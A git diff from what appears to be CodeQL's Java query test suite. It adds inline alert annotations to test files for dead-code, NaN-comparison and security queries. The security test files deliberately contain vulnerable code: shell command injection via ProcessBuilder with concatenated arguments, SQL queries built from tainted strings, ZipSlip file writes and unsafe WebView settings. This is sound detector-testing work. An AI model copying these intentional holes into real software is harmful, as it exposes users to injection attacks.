23091818412..3bf6a12fd40 100644 --- a/java/ql/test/query-tests/WrongNanComparison/Test.java +++ b/java/ql/test/query-tests/WrongNanComparison/Test.java @@ -1,6 +1,6 @@ class Test { void f(double x, float y) { - if (x == Double.NaN) return; - if (y == Float.NaN) return; + if (x == Double.NaN) return; // $ Alert + if (y == Float.NaN) return; // $ Alert } } diff --git a/java/ql/test/query-tests/WrongNanComparison/WrongNanComparison.qlref b/java/ql/test/query-tests/WrongNanComparison/WrongNanComparison.qlref index 09e54ee1c1e..f22a5654255 100644 --- a/java/ql/test/query-tests/WrongNanComparison/WrongNanComparison.qlref +++ b/java/ql/test/query-tests/WrongNanComparison/WrongNanComparison.qlref @@ -1 +1,2 @@ -Likely Bugs/Comparison/WrongNanComparison.ql +query: Likely Bugs/Comparison/WrongNanComparison.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/dead-code/DeadCallable/DeadCallable.qlref b/java/ql/test/query-tests/dead-code/DeadCallable/DeadCallable.qlref index 76204a1df5a..743a5f15775 100644 --- a/java/ql/test/query-tests/dead-code/DeadCallable/DeadCallable.qlref +++ b/java/ql/test/query-tests/dead-code/DeadCallable/DeadCallable.qlref @@ -1 +1,2 @@ -DeadCode/DeadMethod.ql +query: DeadCode/DeadMethod.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/dead-code/DeadCallable/Main.java b/java/ql/test/query-tests/dead-code/DeadCallable/Main.java index 46153987d9a..55de2248270 100644 --- a/java/ql/test/query-tests/dead-code/DeadCallable/Main.java +++ b/java/ql/test/query-tests/dead-code/DeadCallable/Main.java @@ -1,17 +1,17 @@ -public class Main { +public class Main { // $ Alert private static String ss = "a"; private static String ss2 = "b"; private final String is = "a"; private final String is2 = "b"; - private void unused() { + private void unused() { // $ Alert indirectlyUnused(); } - private void indirectlyUnused() {} + private void indirectlyUnused() {} // $ Alert - private void foo() { bar(); } - private void bar() { foo(); } + private void foo() { bar(); } // $ Alert + private void bar() { foo(); } // $ Alert public static void main(String[] args) {} } diff --git a/java/ql/test/query-tests/dead-code/DeadClass/DeadClass.qlref b/java/ql/test/query-tests/dead-code/DeadClass/DeadClass.qlref index d726e7e0849..b94832ebfca 100644 --- a/java/ql/test/query-tests/dead-code/DeadClass/DeadClass.qlref +++ b/java/ql/test/query-tests/dead-code/DeadClass/DeadClass.qlref @@ -1 +1,2 @@ -DeadCode/DeadClass.ql +query: DeadCode/DeadClass.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/dead-code/DeadClass/DeadEnumTest.java b/java/ql/test/query-tests/dead-code/DeadClass/DeadEnumTest.java index 7e760a16e42..3163bb14dff 100644 --- a/java/ql/test/query-tests/dead-code/DeadClass/DeadEnumTest.java +++ b/java/ql/test/query-tests/dead-code/DeadClass/DeadEnumTest.java @@ -1,5 +1,5 @@ public class DeadEnumTest { - public enum DeadEnum { + public enum DeadEnum { // $ Alert A } diff --git a/java/ql/test/query-tests/dead-code/DeadClass/ExternalDeadCodeCycle.java b/java/ql/test/query-tests/dead-code/DeadClass/ExternalDeadCodeCycle.java index ab6fab276ff..40f661e602b 100644 --- a/java/ql/test/query-tests/dead-code/DeadClass/ExternalDeadCodeCycle.java +++ b/java/ql/test/query-tests/dead-code/DeadClass/ExternalDeadCodeCycle.java @@ -5,7 +5,7 @@ public class ExternalDeadCodeCycle { * This class should be marked as being only used from a dead code cycle, because the dead-code * cycle is external to the class. */ - public static class DeadClass { + public static class DeadClass { // $ Alert public static void deadMethod() { } } diff --git a/java/ql/test/query-tests/dead-code/DeadClass/ExternalDeadRoot.java b/java/ql/test/query-tests/dead-code/DeadClass/ExternalDeadRoot.java index e239e2bbec8..dbdec26093d 100644 --- a/java/ql/test/query-tests/dead-code/DeadClass/ExternalDeadRoot.java +++ b/java/ql/test/query-tests/dead-code/DeadClass/ExternalDeadRoot.java @@ -5,7 +5,7 @@ public class ExternalDeadRoot { * This class should be marked as only being used by the "outerDeadRoot()". The * "innerDeadRoot()" should not be reported as a dead root, as it is internal to the class. */ - public static class DeadClass { + public static class DeadClass { // $ Alert public static void innerDeadRoot() { } diff --git a/java/ql/test/query-tests/dead-code/DeadClass/InternalDeadCodeCycle.java b/java/ql/test/query-tests/dead-code/DeadClass/InternalDeadCodeCycle.java index 94079d6198c..cd0028d3a16 100644 --- a/java/ql/test/query-tests/dead-code/DeadClass/InternalDeadCodeCycle.java +++ b/java/ql/test/query-tests/dead-code/DeadClass/InternalDeadCodeCycle.java @@ -1,7 +1,7 @@ /** * This class should be marked as entirely unused. */ -public class InternalDeadCodeCycle { +public class InternalDeadCodeCycle { // $ Alert public void foo() { bar(); diff --git a/java/ql/test/query-tests/dead-code/DeadClass/NamespaceTest.java b/java/ql/test/query-tests/dead-code/DeadClass/NamespaceTest.java index f0ae44f2bf7..12b7f547aee 100644 --- a/java/ql/test/query-tests/dead-code/DeadClass/NamespaceTest.java +++ b/java/ql/test/query-tests/dead-code/DeadClass/NamespaceTest.java @@ -32,7 +32,7 @@ public class NamespaceTest { * This class is not a namespace class, because it has an instance method. The nested live class * should not make the NonNamespaceClass live. */ - public static class NonNamespaceClass { + public static class NonNamespaceClass { // $ Alert public static class LiveInnerClass2 { } diff --git a/java/ql/test/query-tests/dead-code/DeadEnumConstant/DeadEnumConstant.qlref b/java/ql/test/query-tests/dead-code/DeadEnumConstant/DeadEnumConstant.qlref index 45725063f34..7e720934da4 100644 --- a/java/ql/test/query-tests/dead-code/DeadEnumConstant/DeadEnumConstant.qlref +++ b/java/ql/test/query-tests/dead-code/DeadEnumConstant/DeadEnumConstant.qlref @@ -1 +1,2 @@ -DeadCode/DeadEnumConstant.ql +query: DeadCode/DeadEnumConstant.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/dead-code/DeadEnumConstant/DeadEnumConstantTest.java b/java/ql/test/query-tests/dead-code/DeadEnumConstant/DeadEnumConstantTest.java index ef6b2686b75..3e16c5305e4 100644 --- a/java/ql/test/query-tests/dead-code/DeadEnumConstant/DeadEnumConstantTest.java +++ b/java/ql/test/query-tests/dead-code/DeadEnumConstant/DeadEnumConstantTest.java @@ -5,8 +5,8 @@ public class DeadEnumConstantTest { public @interface MyAnnotation{}; public static enum E1{ - unused1, - unused2, + unused1, // $ Alert + unused2, // $ Alert @MyAnnotation ok1, // constants with reflective annotations should be ignored diff --git a/java/ql/test/query-tests/dead-code/DeadField/AnnotationValueTest.java b/java/ql/test/query-tests/dead-code/DeadField/AnnotationValueTest.java index 007915b161b..0dbfb578aa7 100644 --- a/java/ql/test/query-tests/dead-code/DeadField/AnnotationValueTest.java +++ b/java/ql/test/query-tests/dead-code/DeadField/AnnotationValueTest.java @@ -8,7 +8,7 @@ public class AnnotationValueTest { public static String liveField = ""; @TestAnnotation(value = AnnotationValueUtil.DEAD_STRING_CONSTANT_FIELD) - public static String deadField = ""; + public static String deadField = ""; // $ Alert @TestAnnotation(value = { AnnotationValueUtil.LIVE_STRING_CONSTANT_METHOD }) public static void liveMethod() { diff --git a/java/ql/test/query-tests/dead-code/DeadField/AnnotationValueUtil.java b/java/ql/test/query-tests/dead-code/DeadField/AnnotationValueUtil.java index 95a7129286f..0511eecb14a 100644 --- a/java/ql/test/query-tests/dead-code/DeadField/AnnotationValueUtil.java +++ b/java/ql/test/query-tests/dead-code/DeadField/AnnotationValueUtil.java @@ -19,9 +19,9 @@ public class AnnotationValueUtil { /** * These three should be dead because they are used as annotation values on dead fields/methods/classes. */ - public static final String DEAD_STRING_CONSTANT_FIELD = "A string constant."; - public static final String DEAD_STRING_CONSTANT_METHOD = "A string constant."; - public static final String DEAD_STRING_CONSTANT_CLASS = "A string constant."; + public static final String DEAD_STRING_CONSTANT_FIELD = "A string constant."; // $ Alert + public static final String DEAD_STRING_CONSTANT_METHOD = "A string constant."; // $ Alert + public static final String DEAD_STRING_CONSTANT_CLASS = "A string constant."; // $ Alert public static void main(String[] args) { // Ensure outer class is live. diff --git a/java/ql/test/query-tests/dead-code/DeadField/BasicTest.java b/java/ql/test/query-tests/dead-code/DeadField/BasicTest.java index 453469d177a..4a65ad28e40 100644 --- a/java/ql/test/query-tests/dead-code/DeadField/BasicTest.java +++ b/java/ql/test/query-tests/dead-code/DeadField/BasicTest.java @@ -1,8 +1,8 @@ public class BasicTest { - private static String deadStaticField = "Dead"; + private static String deadStaticField = "Dead"; // $ Alert private static String liveStaticField = "Live"; - private String deadField; - private String deadCycleField; + private String deadField; // $ Alert + private String deadCycleField; // $ Alert private String liveField; public BasicTest(String deadField, String liveField) { diff --git a/java/ql/test/query-tests/dead-code/DeadField/DeadField.qlref b/java/ql/test/query-tests/dead-code/DeadField/DeadField.qlref index 42d37e49f2f..fdae92e4d92 100644 --- a/java/ql/test/query-tests/dead-code/DeadField/DeadField.qlref +++ b/java/ql/test/query-tests/dead-code/DeadField/DeadField.qlref @@ -1 +1,2 @@ -DeadCode/DeadField.ql +query: DeadCode/DeadField.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/dead-code/DeadField/ReflectionTest.java b/java/ql/test/query-tests/dead-code/DeadField/ReflectionTest.java index 72ca3ae46f6..ca64e642fd4 100644 --- a/java/ql/test/query-tests/dead-code/DeadField/ReflectionTest.java +++ b/java/ql/test/query-tests/dead-code/DeadField/ReflectionTest.java @@ -2,11 +2,11 @@ public class ReflectionTest { public static class ParentClass { // Not live - private int notInheritedField; + private int notInheritedField; // $ Alert // Live because it is accessed through ChildClass public int inheritedField; // Not live because it is shadowed by the child - public int shadowedField; + public int shadowedField; // $ Alert } public static class ChildClass extends ParentClass { diff --git a/java/ql/test/query-tests/dead-code/DeadMethod/DeadMethod.qlref b/java/ql/test/query-tests/dead-code/DeadMethod/DeadMethod.qlref index 76204a1df5a..743a5f15775 100644 --- a/java/ql/test/query-tests/dead-code/DeadMethod/DeadMethod.qlref +++ b/java/ql/test/query-tests/dead-code/DeadMethod/DeadMethod.qlref @@ -1 +1,2 @@ -DeadCode/DeadMethod.ql +query: DeadCode/DeadMethod.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/dead-code/DeadMethod/InternalDeadCodeCycle.java b/java/ql/test/query-tests/dead-code/DeadMethod/InternalDeadCodeCycle.java index f52b3289528..18da349c79d 100644 --- a/java/ql/test/query-tests/dead-code/DeadMethod/InternalDeadCodeCycle.java +++ b/java/ql/test/query-tests/dead-code/DeadMethod/InternalDeadCodeCycle.java @@ -1,10 +1,10 @@ public class InternalDeadCodeCycle { - public void foo() { + public void foo() { // $ Alert bar(); } - public void bar() { + public void bar() { // $ Alert foo(); } diff --git a/java/ql/test/query-tests/dead-code/DeadMethod/JMXTest.java b/java/ql/test/query-tests/dead-code/DeadMethod/JMXTest.java index 0bd2c517f0d..32f8ec8d3e3 100644 --- a/java/ql/test/query-tests/dead-code/DeadMethod/JMXTest.java +++ b/java/ql/test/query-tests/dead-code/DeadMethod/JMXTest.java @@ -11,7 +11,7 @@ public class JMXTest { public static class FooIntermediate implements FooMBean { // This method is dead, because it is overridden in FooImpl, which is the registered MBean. - public String sometimesLiveMethod(String arg) { return "foo"; } + public String sometimesLiveMethod(String arg) { return "foo"; } // $ Alert // This method is live, because it is the most specific method for FooImpl public String liveMethod2(String arg) { return "foo"; } } diff --git a/java/ql/test/query-tests/dead-code/DeadMethod/SuppressedConstructorTest.java b/java/ql/test/query-tests/dead-code/DeadMethod/SuppressedConstructorTest.java index 8ab2f5a91c7..9eef167c6e9 100644 --- a/java/ql/test/query-tests/dead-code/DeadMethod/SuppressedConstructorTest.java +++ b/java/ql/test/query-tests/dead-code/DeadMethod/SuppressedConstructorTest.java @@ -6,13 +6,13 @@ public class SuppressedConstructorTest { public static void liveMethod() { } } - public void deadMethod() { + public void deadMethod() { // $ Alert new NestedPrivateConstructor(); } private static class NestedPrivateConstructor { // This should be dead, because it is called from a dead method. - private NestedPrivateConstructor() { } + private NestedPrivateConstructor() { } // $ Alert public static void liveMethod() { } } @@ -23,7 +23,7 @@ public class SuppressedConstructorTest { * constructor will be added by the compiler. Therefore, we do not need to declare this private * in order to suppress it. */ - private OtherConstructor() { } + private OtherConstructor() { } // $ Alert // Live constructor private OtherConstructor(Object foo) { } diff --git a/java/ql/test/query-tests/dead-code/UselessParameter/Test.java b/java/ql/test/query-tests/dead-code/UselessParameter/Test.java index 57554544e4c..7f8fc16ffe6 100644 --- a/java/ql/test/query-tests/dead-code/UselessParameter/Test.java +++ b/java/ql/test/query-tests/dead-code/UselessParameter/Test.java @@ -3,7 +3,7 @@ interface I { // NOT OK: no overriding method uses x - void foo(int x); + void foo(int x); // $ Alert // OK: no concrete implementation void bar(String y); diff --git a/java/ql/test/query-tests/dead-code/UselessParameter/UselessParameter.qlref b/java/ql/test/query-tests/dead-code/UselessParameter/UselessParameter.qlref index b1ceb2751a6..7de29d4e3f4 100644 --- a/java/ql/test/query-tests/dead-code/UselessParameter/UselessParameter.qlref +++ b/java/ql/test/query-tests/dead-code/UselessParameter/UselessParameter.qlref @@ -1 +1,2 @@ -DeadCode/UselessParameter.ql \ No newline at end of file +query: DeadCode/UselessParameter.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/maven-dependencies/UnusedMavenDependencyBinary.qlref b/java/ql/test/query-tests/maven-dependencies/UnusedMavenDependencyBinary.qlref index 9d5c4d42fe4..ff6e15f32d9 100644 --- a/java/ql/test/query-tests/maven-dependencies/UnusedMavenDependencyBinary.qlref +++ b/java/ql/test/query-tests/maven-dependencies/UnusedMavenDependencyBinary.qlref @@ -1 +1,2 @@ -Architecture/Dependencies/UnusedMavenDependencyBinary.ql \ No newline at end of file +query: Architecture/Dependencies/UnusedMavenDependencyBinary.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/maven-dependencies/UnusedMavenDependencySource.qlref b/java/ql/test/query-tests/maven-dependencies/UnusedMavenDependencySource.qlref index 78daed5aa14..e9ac8f72425 100644 --- a/java/ql/test/query-tests/maven-dependencies/UnusedMavenDependencySource.qlref +++ b/java/ql/test/query-tests/maven-dependencies/UnusedMavenDependencySource.qlref @@ -1 +1,2 @@ -Architecture/Dependencies/UnusedMavenDependencySource.ql \ No newline at end of file +query: Architecture/Dependencies/UnusedMavenDependencySource.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/maven-dependencies/my-project/pom.xml b/java/ql/test/query-tests/maven-dependencies/my-project/pom.xml index c082f704bed..644cc968f98 100644 --- a/java/ql/test/query-tests/maven-dependencies/my-project/pom.xml +++ b/java/ql/test/query-tests/maven-dependencies/my-project/pom.xml @@ -18,16 +18,16 @@ com.semmle another-project ${project.version} - + commons-lang commons-lang - + semmle-test semmle-test 1.0 - + - \ No newline at end of file + diff --git a/java/ql/test/query-tests/security/CWE-020/OverlyLargeRangeQuery.qlref b/java/ql/test/query-tests/security/CWE-020/OverlyLargeRangeQuery.qlref index ba518e54442..99525343c37 100644 --- a/java/ql/test/query-tests/security/CWE-020/OverlyLargeRangeQuery.qlref +++ b/java/ql/test/query-tests/security/CWE-020/OverlyLargeRangeQuery.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-020/OverlyLargeRange.ql +query: Security/CWE/CWE-020/OverlyLargeRange.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/security/CWE-020/SuspiciousRegexpRange.java b/java/ql/test/query-tests/security/CWE-020/SuspiciousRegexpRange.java index e346d74d4c2..b2f2e0c9c88 100644 --- a/java/ql/test/query-tests/security/CWE-020/SuspiciousRegexpRange.java +++ b/java/ql/test/query-tests/security/CWE-020/SuspiciousRegexpRange.java @@ -2,11 +2,11 @@ import java.util.regex.Pattern; class SuspiciousRegexpRange { void test() { - Pattern overlap1 = Pattern.compile("^[0-93-5]*$"); // NOT OK + Pattern overlap1 = Pattern.compile("^[0-93-5]*$"); // $ Alert[java/overly-large-range] // NOT OK - Pattern overlap2 = Pattern.compile("[A-ZA-z]*"); // NOT OK + Pattern overlap2 = Pattern.compile("[A-ZA-z]*"); // $ Alert[java/overly-large-range] // NOT OK - Pattern isEmpty = Pattern.compile("^[z-a]*$"); // NOT OK + Pattern isEmpty = Pattern.compile("^[z-a]*$"); // $ Alert[java/overly-large-range] // NOT OK Pattern isAscii = Pattern.compile("^[\\x00-\\x7F]*$"); // OK @@ -16,19 +16,19 @@ class SuspiciousRegexpRange { Pattern NON_ALPHANUMERIC_REGEXP = Pattern.compile("([^\\#-~| |!])*"); // OK - Pattern smallOverlap = Pattern.compile("[0-9a-fA-f]*"); // NOT OK + Pattern smallOverlap = Pattern.compile("[0-9a-fA-f]*"); // $ Alert[java/overly-large-range] // NOT OK - Pattern weirdRange = Pattern.compile("[$-`]*"); // NOT OK + Pattern weirdRange = Pattern.compile("[$-`]*"); // $ Alert[java/overly-large-range] // NOT OK - Pattern keywordOperator = Pattern.compile("[!\\~\\*\\/%+-<>\\^|=&]*"); // NOT OK + Pattern keywordOperator = Pattern.compile("[!\\~\\*\\/%+-<>\\^|=&]*"); // $ Alert[java/overly-large-range] // NOT OK - Pattern notYoutube = Pattern.compile("youtu.be/[a-z1-9.-_]+"); // NOT OK + Pattern notYoutube = Pattern.compile("youtu.be/[a-z1-9.-_]+"); // $ Alert[java/overly-large-range] // NOT OK - Pattern numberToLetter = Pattern.compile("[7-F]*"); // NOT OK + Pattern numberToLetter = Pattern.compile("[7-F]*"); // $ Alert[java/overly-large-range] // NOT OK - Pattern overlapsWithClass1 = Pattern.compile("[0-9\\d]*"); // NOT OK + Pattern overlapsWithClass1 = Pattern.compile("[0-9\\d]*"); // $ Alert[java/overly-large-range] // NOT OK - Pattern overlapsWithClass2 = Pattern.compile("[\\w,.-?:*+]*"); // NOT OK + Pattern overlapsWithClass2 = Pattern.compile("[\\w,.-?:*+]*"); // $ Alert[java/overly-large-range] // NOT OK Pattern nested = Pattern.compile("[[A-Za-z_][A-Za-z0-9._-]]*"); // OK, the dash it at the end diff --git a/java/ql/test/query-tests/security/CWE-022/semmle/tests/ZipSlip.qlref b/java/ql/test/query-tests/security/CWE-022/semmle/tests/ZipSlip.qlref index eee3728e935..71a41a4c0ac 100644 --- a/java/ql/test/query-tests/security/CWE-022/semmle/tests/ZipSlip.qlref +++ b/java/ql/test/query-tests/security/CWE-022/semmle/tests/ZipSlip.qlref @@ -1,2 +1,4 @@ query: Security/CWE/CWE-022/ZipSlip.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/security/CWE-022/semmle/tests/ZipTest.java b/java/ql/test/query-tests/security/CWE-022/semmle/tests/ZipTest.java index 2c5e1cd9d53..b4d8ba8eea9 100644 --- a/java/ql/test/query-tests/security/CWE-022/semmle/tests/ZipTest.java +++ b/java/ql/test/query-tests/security/CWE-022/semmle/tests/ZipTest.java @@ -4,11 +4,11 @@ import java.util.zip.*; public class ZipTest { public void m1(ZipEntry entry, File dir) throws Exception { - String name = entry.getName(); + String name = entry.getName(); // $ Alert[java/zipslip] File file = new File(dir, name); - FileOutputStream os = new FileOutputStream(file); // ZipSlip - RandomAccessFile raf = new RandomAccessFile(file, "rw"); // ZipSlip - FileWriter fw = new FileWriter(file); // ZipSlip + FileOutputStream os = new FileOutputStream(file); // $ Sink[java/zipslip] // ZipSlip + RandomAccessFile raf = new RandomAccessFile(file, "rw"); // $ Sink[java/zipslip] // ZipSlip + FileWriter fw = new FileWriter(file); // $ Sink[java/zipslip] // ZipSlip } public void m2(ZipEntry entry, File dir) throws Exception { diff --git a/java/ql/test/query-tests/security/CWE-078/ExecRelative.qlref b/java/ql/test/query-tests/security/CWE-078/ExecRelative.qlref index 42aa816c177..65cb1b6dd76 100644 --- a/java/ql/test/query-tests/security/CWE-078/ExecRelative.qlref +++ b/java/ql/test/query-tests/security/CWE-078/ExecRelative.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-078/ExecRelative.ql +query: Security/CWE/CWE-078/ExecRelative.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/security/CWE-078/ExecTainted.qlref b/java/ql/test/query-tests/security/CWE-078/ExecTainted.qlref index 856b97bf0fe..77cdee7b283 100644 --- a/java/ql/test/query-tests/security/CWE-078/ExecTainted.qlref +++ b/java/ql/test/query-tests/security/CWE-078/ExecTainted.qlref @@ -1,2 +1,4 @@ query: Security/CWE/CWE-078/ExecTainted.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/security/CWE-078/ExecUnescaped.qlref b/java/ql/test/query-tests/security/CWE-078/ExecUnescaped.qlref index 1ee86c5e76a..add1dcb676b 100644 --- a/java/ql/test/query-tests/security/CWE-078/ExecUnescaped.qlref +++ b/java/ql/test/query-tests/security/CWE-078/ExecUnescaped.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-078/ExecUnescaped.ql +query: Security/CWE/CWE-078/ExecUnescaped.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/security/CWE-078/TaintedEnvironment.java b/java/ql/test/query-tests/security/CWE-078/TaintedEnvironment.java index cb3ecb3b050..b112597f260 100644 --- a/java/ql/test/query-tests/security/CWE-078/TaintedEnvironment.java +++ b/java/ql/test/query-tests/security/CWE-078/TaintedEnvironment.java @@ -36,6 +36,6 @@ public class TaintedEnvironment { public void exec() throws java.io.IOException { String kv = (String) source(); - Runtime.getRuntime().exec(new String[] { "ls" }, new String[] { kv }); // $ hasTaintFlow + Runtime.getRuntime().exec(new String[] { "ls" }, new String[] { kv }); // $ Alert[java/relative-path-command] hasTaintFlow } } diff --git a/java/ql/test/query-tests/security/CWE-078/Test.java b/java/ql/test/query-tests/security/CWE-078/Test.java index 1ac5dc47882..6850a3a19e3 100644 --- a/java/ql/test/query-tests/security/CWE-078/Test.java +++ b/java/ql/test/query-tests/security/CWE-078/Test.java @@ -4,10 +4,10 @@ import java.util.ArrayList; class Test { public static void shellCommand(String arg) throws java.io.IOException { - ProcessBuilder pb = new ProcessBuilder("/bin/bash -c echo " + arg); + ProcessBuilder pb = new ProcessBuilder("/bin/bash -c echo " + arg); // $ Alert[java/concatenated-command-line] Alert[java/command-line-injection] pb.start(); - pb = new ProcessBuilder(new String[]{"/bin/bash", "-c", "echo " + arg}); + pb = new ProcessBuilder(new String[]{"/bin/bash", "-c", "echo " + arg}); // $ Alert[java/command-line-injection] pb.start(); List cmd = new ArrayList(); @@ -15,18 +15,18 @@ class Test { cmd.add("-c"); cmd.add("echo " + arg); - pb = new ProcessBuilder(cmd); + pb = new ProcessBuilder(cmd); // $ Alert[java/command-line-injection] pb.start(); String[] cmd1 = new String[]{"/bin/bash", "-c", ""}; cmd1[1] = "echo " + arg; - pb = new ProcessBuilder(cmd1); + pb = new ProcessBuilder(cmd1); // $ Alert[java/command-line-injection] pb.start(); } public static void nonShellCommand(String arg) throws java.io.IOException { - ProcessBuilder pb = new ProcessBuilder("./customTool " + arg); + ProcessBuilder pb = new ProcessBuilder("./customTool " + arg); // $ Alert[java/concatenated-command-line] Alert[java/command-line-injection] pb.start(); pb = new ProcessBuilder(new String[]{"./customTool", arg}); @@ -47,14 +47,14 @@ class Test { } public static void relativeCommand() throws java.io.IOException { - ProcessBuilder pb = new ProcessBuilder("ls"); + ProcessBuilder pb = new ProcessBuilder("ls"); // $ Alert[java/relative-path-command] pb.start(); pb = new ProcessBuilder("/bin/ls"); pb.start(); } - public static void main(String[] args) throws java.io.IOException { + public static void main(String[] args) throws java.io.IOException { // $ Source[java/command-line-injection] String arg = args.length > 1 ? args[1] : "default"; shellCommand(arg); diff --git a/java/ql/test/query-tests/security/CWE-079/semmle/tests/SetJavascriptEnabled.java b/java/ql/test/query-tests/security/CWE-079/semmle/tests/SetJavascriptEnabled.java index 02a81f3e3c2..82215d11130 100644 --- a/java/ql/test/query-tests/security/CWE-079/semmle/tests/SetJavascriptEnabled.java +++ b/java/ql/test/query-tests/security/CWE-079/semmle/tests/SetJavascriptEnabled.java @@ -6,7 +6,7 @@ import android.webkit.WebSettings; public class SetJavascriptEnabled { public static void configureWebViewUnsafe(WebView view) { WebSettings settings = view.getSettings(); - settings.setJavaScriptEnabled(true); // $ javascriptEnabled + settings.setJavaScriptEnabled(true); // $ Alert[java/android/websettings-javascript-enabled] javascriptEnabled } public static void configureWebViewSafe(WebView view) { diff --git a/java/ql/test/query-tests/security/CWE-079/semmle/tests/WebViewAddJavascriptInterface.java b/java/ql/test/query-tests/security/CWE-079/semmle/tests/WebViewAddJavascriptInterface.java index 50fc3847705..acd895c474f 100644 --- a/java/ql/test/query-tests/security/CWE-079/semmle/tests/WebViewAddJavascriptInterface.java +++ b/java/ql/test/query-tests/security/CWE-079/semmle/tests/WebViewAddJavascriptInterface.java @@ -7,6 +7,6 @@ class WebViewAddJavascriptInterface { } public void addGreeter(WebView view) { - view.addJavascriptInterface(new Greeter(), "greeter"); + view.addJavascriptInterface(new Greeter(), "greeter"); // $ Alert[java/android/webview-addjavascriptinterface] } } diff --git a/java/ql/test/query-tests/security/CWE-079/semmle/tests/WebViewAddJavascriptInterface.qlref b/java/ql/test/query-tests/security/CWE-079/semmle/tests/WebViewAddJavascriptInterface.qlref index 1161c47dda6..f0385f63cbd 100644 --- a/java/ql/test/query-tests/security/CWE-079/semmle/tests/WebViewAddJavascriptInterface.qlref +++ b/java/ql/test/query-tests/security/CWE-079/semmle/tests/WebViewAddJavascriptInterface.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-079/AndroidWebViewAddJavascriptInterface.ql +query: Security/CWE/CWE-079/AndroidWebViewAddJavascriptInterface.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/security/CWE-079/semmle/tests/WebViewSetEnabledJavaScript.qlref b/java/ql/test/query-tests/security/CWE-079/semmle/tests/WebViewSetEnabledJavaScript.qlref index e9e8006886d..34f44ac58cd 100644 --- a/java/ql/test/query-tests/security/CWE-079/semmle/tests/WebViewSetEnabledJavaScript.qlref +++ b/java/ql/test/query-tests/security/CWE-079/semmle/tests/WebViewSetEnabledJavaScript.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-079/AndroidWebViewSettingsEnabledJavaScript.ql +query: Security/CWE/CWE-079/AndroidWebViewSettingsEnabledJavaScript.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/query-tests/security/CWE-089/semmle/examples/AllowListSanitizerWithJavaUtilList.java b/java/ql/test/query-tests/security/CWE-089/semmle/examples/AllowListSanitizerWithJavaUtilList.java index 285f9bc49cb..50a9547e48a 100644 --- a/java/ql/test/query-tests/security/CWE-089/semmle/examples/AllowListSanitizerWithJavaUtilList.java +++ b/java/ql/test/query-tests/security/CWE-089/semmle/examples/AllowListSanitizerWithJavaUtilList.java @@ -45,7 +45,7 @@ class AllowListSanitizerWithJavaUtilList { return String.valueOf(System.currentTimeMillis()); } - public static void main(String[] args) throws IOException, SQLException { + public static void main(String[] args) throws IOException, SQLException { // $ Source[java/sql-injection] badAllowList6 = List.of("allowed1", getNonConstantString(), "allowed3"); testStaticFields(args); testLocal(args); @@ -61,61 +61,61 @@ class AllowListSanitizerWithJavaUtilList { if(goodAllowList1.contains(tainted.toLowerCase())){ String query = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + tainted + "' ORDER BY PRICE"; - ResultSet results = connection.createStatement().executeQuery(query); + ResultSet results = connection.createStatement().executeQuery(query); // $ Alert[java/concatenated-sql-query] } // GOOD: an allowlist is used with constant strings if(goodAllowList2.contains(tainted.toUpperCase())){ String query = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + tainted + "' ORDER BY PRICE"; - ResultSet results = connection.createStatement().executeQuery(query); + ResultSet results = connection.createStatement().executeQuery(query); // $ Alert[java/concatenated-sql-query] } // GOOD: an allowlist is used with constant strings if(goodAllowList3.contains(tainted)){ String query = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + tainted + "' ORDER BY PRICE"; - ResultSet results = connection.createStatement().executeQuery(query); + ResultSet results = connection.createStatement().executeQuery(query); // $ Alert[java/concatenated-sql-query] } // GOOD: an allowlist is used with constant strings if(goodAllowList4.contains(tainted)){ String query = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + tainted + "' ORDER BY PRICE"; - ResultSet results = connection.createStatement().executeQuery(query); + ResultSet results = connection.createStatement().executeQuery(query); // $ Alert[java/concatenated-sql-query] } // BAD: an allowlist is used with constant strings if(badAllowList1.contains(tainted)){ String query = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + tainted + "' ORDER BY PRICE"; - ResultSet results = connection.createStatement().executeQuery(query); + ResultSet results = connection.createStatement().executeQuery(query); // $ Alert[java/sql-injection] Alert[java/concatenated-sql-query] } // BAD: an allowlist is used with constant strings if(badAllowList2.contains(tainted)){ String query = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + tainted + "' ORDER BY PRICE"; - ResultSet results = connection.createStatement().executeQuery(query); + ResultSet results = connection.createStatement().executeQuery(query); // $ Alert[java/sql-injection] Alert[java/concatenated-sql-query] } // BAD: an allowlist is used with constant strings if(badAllowList3.contains(tainted)){ String query = "SELECT ITEM,PRICE FROM PRODUCT WHERE 